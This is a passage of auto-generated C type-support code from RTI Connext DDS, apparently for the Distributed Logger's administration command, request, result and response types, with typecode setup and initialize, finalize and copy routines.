RTI_DL_ADMIN_Command_initialize( RTI_DL_ADMIN_Command* sample) { return RTI_DL_ADMIN_Command_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_ADMIN_Command_initialize_ex( RTI_DL_ADMIN_Command* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_Command_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_Command_initialize_w_params( RTI_DL_ADMIN_Command* sample, const struct DDS_TypeAllocationParams_t * allocParams) { void* buffer = NULL; if (buffer) {} /* To avoid warnings */ if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } sample->_d = (RTI_DL_ADMIN_CommandKind)RTI_DL_ADMIN_Command_getDefaultDiscriminator(); sample->_u.filterLevel = 0; if (allocParams->allocate_memory) { if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_initialize(&sample->_u.categoryAndVerbosity )){ return RTI_FALSE; }; if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_set_element_allocation_params(&sample->_u.categoryAndVerbosity ,allocParams)){ return RTI_FALSE; }; if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_set_absolute_maximum(&sample->_u.categoryAndVerbosity , (5))){ return RTI_FALSE; } if (!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_set_maximum(&sample->_u.categoryAndVerbosity, (5))) { return RTI_FALSE; } } else { if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_set_length(&sample->_u.categoryAndVerbosity, 0)){ return RTI_FALSE; } } sample->_u.printFormat = RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_Command_finalize_w_return( RTI_DL_ADMIN_Command* sample) { RTI_DL_ADMIN_Command_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_ADMIN_Command_finalize( RTI_DL_ADMIN_Command* sample) { RTI_DL_ADMIN_Command_finalize_ex(sample,RTI_TRUE); } void RTI_DL_ADMIN_Command_finalize_ex( RTI_DL_ADMIN_Command* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_Command_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_Command_finalize_w_params( RTI_DL_ADMIN_Command* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_set_element_deallocation_params( &sample->_u.categoryAndVerbosity,deallocParams)){ return; } if(!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_finalize(&sample->_u.categoryAndVerbosity)){ return; } RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_params(&sample->_u.printFormat,deallocParams); } void RTI_DL_ADMIN_Command_finalize_optional_members( RTI_DL_ADMIN_Command* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; switch(sample->_d) { case (RTI_DL_SET_LOG_LEVEL): { } break ; case (RTI_DL_SET_RTI_LOGGER_LEVEL): { { DDS_UnsignedLong i, length; length = RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_get_length( &sample->_u.categoryAndVerbosity); for (i = 0; i < length; i++) { RTI_DL_ADMIN_RTILoggerCategoryAndVerbosity_finalize_optional_members( RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_get_reference( &sample->_u.categoryAndVerbosity, i), deallocParams->delete_pointers); } } } break ; case (RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT): { RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_optional_members(&sample->_u.printFormat, deallocParams->delete_pointers); } break ; } } RTIBool RTI_DL_ADMIN_Command_copy( RTI_DL_ADMIN_Command* dst, const RTI_DL_ADMIN_Command* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_ADMIN_CommandKind_copy( &dst->_d,(const RTI_DL_ADMIN_CommandKind*)&src->_d)) { return RTI_FALSE; } switch(src->_d) { case (RTI_DL_SET_LOG_LEVEL): { if (!RTICdrType_copyLong ( &dst->_u.filterLevel, &src->_u.filterLevel)) { return RTI_FALSE; } } break ; case (RTI_DL_SET_RTI_LOGGER_LEVEL): { if (!RTI_DL_ADMIN_RTILoggerCategoryAndVerbositySeq_copy(&dst->_u.categoryAndVerbosity , &src->_u.categoryAndVerbosity )) { return RTI_FALSE; } } break ; case (RTI_DL_SET_RTI_LOGGER_PRINT_FORMAT): { if (!RTI_DL_ADMIN_RTILoggerPrintFormat_copy( &dst->_u.printFormat,(const RTI_DL_ADMIN_RTILoggerPrintFormat*)&src->_u.printFormat)) { return RTI_FALSE; } } break ; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_Command' sequence class. */ #define T RTI_DL_ADMIN_Command #define TSeq RTI_DL_ADMIN_CommandSeq #define T_initialize_w_params RTI_DL_ADMIN_Command_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_Command_finalize_w_params #define T_copy RTI_DL_ADMIN_Command_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_CommandRequestTYPENAME = "RTI::DL::ADMIN::CommandRequest"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_CommandRequest_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_CommandRequest_g_tc_members[4]= { { (char *)"targetHostAndAppId",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"originatorHostAndAppId",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"invocation",/* Member name */ { 2,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"command",/* Member name */ { 3,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_CommandRequest_g_tc = {{ DDS_TK_STRUCT| DDS_TK_MUTABLE_EXTENSIBILITY, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::CommandRequest", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 4, /* Number of members */ RTI_DL_ADMIN_CommandRequest_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_CommandRequest*/ if (is_initialized) { return &RTI_DL_ADMIN_CommandRequest_g_tc; } RTI_DL_ADMIN_CommandRequest_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_ADMIN_CommandRequest_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_ADMIN_CommandRequest_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_ADMIN_CommandRequest_g_tc_members[3]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_Command_get_typecode(); /* Initialize the values for member annotations. */ RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandRequest_g_tc_members[2]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_ADMIN_CommandRequest_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_CommandRequest_get_sample_access_info(); RTI_DL_ADMIN_CommandRequest_g_tc._data._typePlugin = RTI_DL_ADMIN_CommandRequest_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_CommandRequest_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_CommandRequest_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos[4] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo; } RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandRequest *)NULL)->targetHostAndAppId); RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandRequest *)NULL)->originatorHostAndAppId); RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos[2].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandRequest *)NULL)->invocation); RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos[3].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandRequest *)NULL)->command); RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_CommandRequest_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_CommandRequest); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandRequest_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_CommandRequest_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_CommandRequest_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_CommandRequest_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_CommandRequest_finalize_w_return, NULL }; return &RTI_DL_ADMIN_CommandRequest_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_CommandRequest_initialize( RTI_DL_ADMIN_CommandRequest* sample) { return RTI_DL_ADMIN_CommandRequest_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_ADMIN_CommandRequest_initialize_ex( RTI_DL_ADMIN_CommandRequest* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_CommandRequest_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_CommandRequest_initialize_w_params( RTI_DL_ADMIN_CommandRequest* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->targetHostAndAppId, allocParams)) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->originatorHostAndAppId, allocParams)) { return RTI_FALSE; } sample->invocation = 0; if (!RTI_DL_ADMIN_Command_initialize_w_params(&sample->command, allocParams)) { return RTI_FALSE; } return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandRequest_finalize_w_return( RTI_DL_ADMIN_CommandRequest* sample) { RTI_DL_ADMIN_CommandRequest_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_ADMIN_CommandRequest_finalize( RTI_DL_ADMIN_CommandRequest* sample) { RTI_DL_ADMIN_CommandRequest_finalize_ex(sample,RTI_TRUE); } void RTI_DL_ADMIN_CommandRequest_finalize_ex( RTI_DL_ADMIN_CommandRequest* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_CommandRequest_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_CommandRequest_finalize_w_params( RTI_DL_ADMIN_CommandRequest* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } RTI_DL_HostAndAppId_finalize_w_params(&sample->targetHostAndAppId,deallocParams); RTI_DL_HostAndAppId_finalize_w_params(&sample->originatorHostAndAppId,deallocParams); RTI_DL_ADMIN_Command_finalize_w_params(&sample->command,deallocParams); } void RTI_DL_ADMIN_CommandRequest_finalize_optional_members( RTI_DL_ADMIN_CommandRequest* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; RTI_DL_HostAndAppId_finalize_optional_members(&sample->targetHostAndAppId, deallocParams->delete_pointers); RTI_DL_HostAndAppId_finalize_optional_members(&sample->originatorHostAndAppId, deallocParams->delete_pointers); RTI_DL_ADMIN_Command_finalize_optional_members(&sample->command, deallocParams->delete_pointers); } RTIBool RTI_DL_ADMIN_CommandRequest_copy( RTI_DL_ADMIN_CommandRequest* dst, const RTI_DL_ADMIN_CommandRequest* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->targetHostAndAppId,(const RTI_DL_HostAndAppId*)&src->targetHostAndAppId)) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->originatorHostAndAppId,(const RTI_DL_HostAndAppId*)&src->originatorHostAndAppId)) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->invocation, &src->invocation)) { return RTI_FALSE; } if (!RTI_DL_ADMIN_Command_copy( &dst->command,(const RTI_DL_ADMIN_Command*)&src->command)) { return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_CommandRequest' sequence class. */ #define T RTI_DL_ADMIN_CommandRequest #define TSeq RTI_DL_ADMIN_CommandRequestSeq #define T_initialize_w_params RTI_DL_ADMIN_CommandRequest_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_CommandRequest_finalize_w_params #define T_copy RTI_DL_ADMIN_CommandRequest_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_CommandResultTYPENAME = "RTI::DL::ADMIN::CommandResult"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_CommandResult_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_CommandResult_g_tc_members[3]= { { (char *)"RTI_DL_COMMAND_RESULT_OK",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_COMMAND_RESULT_OK, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_COMMAND_RESULT_NOT_SUPPORTED",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_COMMAND_RESULT_NOT_SUPPORTED, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_COMMAND_RESULT_ERROR",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_COMMAND_RESULT_ERROR, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_CommandResult_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::CommandResult", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 3, /* Number of members */ RTI_DL_ADMIN_CommandResult_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_CommandResult*/ if (is_initialized) { return &RTI_DL_ADMIN_CommandResult_g_tc; } RTI_DL_ADMIN_CommandResult_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_CommandResult_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_CommandResult_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_CommandResult_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_CommandResult_get_sample_access_info(); RTI_DL_ADMIN_CommandResult_g_tc._data._typePlugin = RTI_DL_ADMIN_CommandResult_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_CommandResult_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_CommandResult_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_CommandResult_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo; } RTI_DL_ADMIN_CommandResult_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_CommandResult_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_CommandResult); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandResult_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_CommandResult_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_CommandResult_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_CommandResult_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_CommandResult_finalize_w_return, NULL }; return &RTI_DL_ADMIN_CommandResult_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_CommandResult_initialize( RTI_DL_ADMIN_CommandResult* sample) { *sample = RTI_DL_COMMAND_RESULT_OK; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandResult_initialize_ex( RTI_DL_ADMIN_CommandResult* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_CommandResult_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_CommandResult_initialize_w_params( RTI_DL_ADMIN_CommandResult* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_COMMAND_RESULT_OK; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandResult_finalize_w_return( RTI_DL_ADMIN_CommandResult* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_CommandResult_finalize( RTI_DL_ADMIN_CommandResult* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_CommandResult_finalize_ex( RTI_DL_ADMIN_CommandResult* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_CommandResult_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_CommandResult_finalize_w_params( RTI_DL_ADMIN_CommandResult* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_CommandResult_finalize_optional_members( RTI_DL_ADMIN_CommandResult* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_CommandResult_copy( RTI_DL_ADMIN_CommandResult* dst, const RTI_DL_ADMIN_CommandResult* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_CommandResult' sequence class. */ #define T RTI_DL_ADMIN_CommandResult #define TSeq RTI_DL_ADMIN_CommandResultSeq #define T_initialize_w_params RTI_DL_ADMIN_CommandResult_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_CommandResult_finalize_w_params #define T_copy RTI_DL_ADMIN_CommandResult_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_CommandResponseTYPENAME = "RTI::DL::ADMIN::CommandResponse"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_CommandResponse_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode RTI_DL_ADMIN_CommandResponse_g_tc_message_string = DDS_INITIALIZE_STRING_TYPECODE(((RTI_DL_ADMIN_COMMAND_RESPONSE_MAX_LENGTH))); static DDS_TypeCode_Member RTI_DL_ADMIN_CommandResponse_g_tc_members[5]= { { (char *)"hostAndAppId",/* Member name */ { 0,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_KEY_MEMBER , /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"originatorHostAndAppId",/* Member name */ { 1,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"invocation",/* Member name */ { 2,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"commandResult",/* Member name */ { 3,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ 